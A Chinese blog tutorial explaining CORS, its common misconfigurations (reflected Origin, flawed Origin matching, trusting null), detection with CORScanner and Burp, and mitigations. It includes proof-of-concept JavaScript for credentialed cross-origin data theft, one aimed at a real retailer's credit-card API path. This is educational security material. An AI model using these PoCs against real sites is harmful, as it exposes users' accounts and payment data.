CORS介绍及其漏洞检测

文章最后更新时间为:2019年10月31日 13:41:01

关于跨域请求数据的方式,上次已经讲过了JSONP,今天轮到CORS了。

CORS是比JSONP更强大,使用也更加广泛,被发明出来就是为了干掉JSONP的,因为用的多,其安全问题也更加普遍。

1. CORS实现原理

CORS的实现原理理解起来也很简单,我们可以通过一个简单的试验来帮助理解。

我们首先修改host文件,加上

127.0.0.1 www.vuln.com 
127.0.0.1 www.evil.com

这样我们访问www.vuln.com就相当于服务端。服务端新建a.php。

<!-- www.vuln.com/a.php -->
<?php
echo "username: admin; password:123456";
?>

如果我们访问http://www.vuln.com/a.php,会正常输出username: admin; password:123456

接着在hacker端构造steal.html:

<!-- www.evil.com/steal.html  -->
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
    var xhr1 = new XMLHttpRequest();
    xhr1.onreadystatechange=function()
    {
        if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
        {
            var datas=xhr1.responseText;
            alert(datas);
        }
    }
    //request vuln page
    xhr1.open("GET","http://www.vuln.com/a.php","true") 
    xhr1.send();
}
loadXMLDoc();
</script>
</html>

然后我们打开http://www.evil.com/steal.html,html代码的意思是通过XMLHttpRequest访问http://www.vuln.com/a.php,然后将获取到的内容alert出来。

但是根据同源策略,这是不允许的,结果也和我们想的一样:

说到这里,有个常见的关于同源策略的误区需要指出一下,同源策略并不限制请求的发起和响应,只是浏览器拒绝了js对响应资源的操作,这点我们抓包就可以看出来

那么我们怎么使用CORS使其可以跨域访问呢,接下来我们改一下a.php:

<!-- www.vuln.com/a.php -->
<?php
header("Access-Control-Allow-Origin:http://www.evil.com");
echo "username: admin; password:123456";
?>

再次访问http://www.evil.com/steal.html,发现可以正常alert了,成功实现了跨域资源的请求。

回想刚才做了什么,我们只是在响应头加上了Access-Control-Allow-Origin: http://www.evil.com,浏览器看到这个,认为这是服务端允许的跨域请求,就不再阻拦js对获取内容的操作了。

其认证过程大致如下

  • 网站A对浏览器说:你去帮我找服务端B要个苹果
  • 浏览器对服务端B说: 我要个苹果
  • 服务端B对浏览器说: 呐,这是给你的苹果,另外给你个名单,只许这些人吃。
  • 浏览器拿到苹果,对比了一下名单,发现A在名单里,便把苹果给A吃了

CORS本质上就是使用各种头信息让浏览器与服务器之间进行交流,上面提到的名单就是用下面的http头字段来控制的:

其中比较重要的相应头为:

Access-Control-Allow-Origin: http://a.com  服务端接受来自http://a.com的跨域请求
Access-Control-Allow-Credentials: true  表示是否允许发送Cookie,true即发送cookie

2. CORS常见漏洞

刚才的例子中服务端加上了Access-Control-Allow-Origin: http://www.evil.com来表示只允许http://www.evil.com跨域访问,这种情况相对简单,实际中我们可能会遇到各种场景,于是CORS也很容易出现配置上的安全问题。总结起来大概有如下几种:

2.1 反射Origin头

当管理员想允许多个域名跨域请求时,以下写法都是不允许的

Access-Control-Allow-Origin: http://a.com, http://c.com
或者
Access-Control-Allow-Origin: http://*.a.com

因为CORS标准规定,Access-Control-Allow-Origin只能配置为单个origin, null或*。

有些开发者为了方便,直接使用请求者的origin作为ACAO的域名,例如下面的Nginx配置:

add_header "Access-Control-Allow-Origin" $http_origin;
add_header "Access-Control-Allow-Credentials" "true";

这种配置非常危险,相当于任意网站可以直接跨域读取其资源内容。

2.2 Origin 校验错误

由于前面那种反射Origin的做法过于暴力,一般也是不可取的,常用做法是通过自定义规则来校验Origin头,但是在校验过程中也会出现错误。这些错误可以分为四类:

  • 前缀匹配:例如想要允许example.com访问,但是只做了前缀匹配,导致同时信任了example.com.attack.com的访问。
  • 后缀匹配:例如想要允许example.com访问,由于后缀匹配出错,导致允许attackexample.com访问。
  • 没有转义.:例如想要允许www.example.com访问,但正则匹配没有转义.,导致允许wwwaexample.com访问。
  • 包含匹配:例如想要允许example.com,但是Origin校验出错,出现允许ample.com访问。

2.3 信任null

当配置信任名单为null,可以用来和本地file页面共享数据,如下所示:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

但是攻击者也可以构造Origin为null的跨域请求,比如通过iframe sandbox:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>
var xhr=new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
        alert(xhr.responseText);
    }
}
xhr.open("GET", "http://www.vuln.com/a.php", true);
xhr.withCredentials = true;
xhr.send();</script>'>
</iframe>

2.4 HTTPS域信任HTTP域

但是如果该HTTPS网站配置了CORS且信任HTTP域,那么中间人攻击者可以先劫持受信任HTTP域,然后通过这个域发送跨域请求到HTTPS网站,间接读取HTTPS域下的受保护内容.

2.5 信任自身全部子域

很多网站为了方便会将CORS配置为信任全部自身子域,这种配置会扩大子域 XSS的危害。

比如某子站存在xss时,可以通过此xss发送跨域请求,从而获取敏感内容。

2.6 Origin:*与 Credentials:true 共用

Access-Control-Allow-Origin:*用于表示允许任意域访问,这种配置只能用于共享公开资源。

所以下面这种配置是错误的,浏览器不允许这两种配置同时出现。(对于共享公开资源,不应该需要身份认证)

Access-Control-Allow-Origin: * 
Access-Control-Allow-Credentials: true 

2.7 缺少Vary: Origin头

如果一个资源享有多个域名,它需要对不同域名的请求包生成不同的ACAO头。如果一个请求的响应被缓存,且返回中没有Vary: Origin字段,可能会导致其它域名的请求失效。

比如c.com同时允许a.com和b.com共享。c.com资源内容首先被a.com脚本跨域访问后被缓存,其中缓存响应头为Access-Control-Allow-Origin:http://a.com这时,b.com脚本则不能读取缓存响应内容,因为缓存响应头是允许a.com共享,而不是b.com。

3. 漏洞挖掘与检测

漏洞的检测比较简单,我们只需要控制请求头中的Oragin头,观察响应头字段即可。推测开源工具:https://github.com/chenjj/CORScanner

通过分析工具源码,可以知道其检测漏洞的逻辑,发现其为变换请求头的origin字段,如果返回包中的access-control-allow-origin内容和发送的origin头内容相同,则存在此问题。

以检测http://www.vuln.com/a.php为例

1. 反射Origin头
发送origin头为http://evil.com

- 是否只匹配前置域名
发送origin头为http://www.vuln.com.evil.com

- 是否只匹配后置域名
发送origin头为http://evilvuln.com

- 是否信任null
发送origin头为null

- 是否包含匹配
发送origin头为http://uln.com

- 是否没有转义.
http://www.vulnacom

- 是否信任自定义url        
发送的origin位于根目录下的origins.json
https://whatever.github.io
http://jsbin.com
https://codepen.io
https://jsfiddle.net
http://www.webdevout.net
https://repl.it

- 是否信任任意子域名
http://evil.www.vuln.com

- https是否信任http(此检测为http,故忽略)
origin为将https替换为http

但我发现了一个问题,就是其没有解析泛域名的问题,也就是配置了access-control-allow-origin为*的安全问题。

于是我fork了一份源码: https://github.com/saucer-man/CORScanner,并加上了这个功能:https://github.com/saucer-man/CORScanner/commit/3af8499c8860e203f1d3264f287c19d047fafd93,有需要的同学可以自取。

对于网站漏洞的挖掘可以使用burp,先勾选上proxy --> options --> Origin --> match and replace里面的Add spoofed CORS origin。

然后在网站一阵乱点观察功能点,最后在HTTP history来筛选带有CORS头部的值,然后用以上工具查看是否有配置缺陷。

检测到CORS配置错误以后,以下有一份poc可用来写报告:

<script>
    //以受害者身份,发送一个跨域请求给目标url
    var req = new XMLHttpRequest();
    req.open('GET',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true);
    req.onload = stealData;
    req.withCredentials = true;
    req.send();

    function stealData(){
        //由于目标站点的CORS配置错误,我们可以读取到相应包
        var data= JSON.stringify(JSON.parse(this.responseText),null,2);

        //展示相应包到这个页面上,作为hacker还可以将内容发送到自己的服务器
        output(data);
    }

    function output(inp) {
        document.body.appendChild(document.createElement('pre')).innerHTML = inp;
    }
</script>

4. 漏洞防范

  • 不要盲目反射Origin头
  • 严格校验Origin头,避免出现权限泄露
  • 不要配置Access-Control-Allow-Origin: null
  • HTTPS网站不要信任HTTP域
  • 不要信任全部自身子域,减少攻击面
  • 不要配置Origin:*和Credentials: true
  • 增加Vary: Origin头

5.参考

1 + 1 =
1 评论
    头条 Chrome 63 Windows 7
    2019年09月22日 回复

    文章不吃早餐一下吧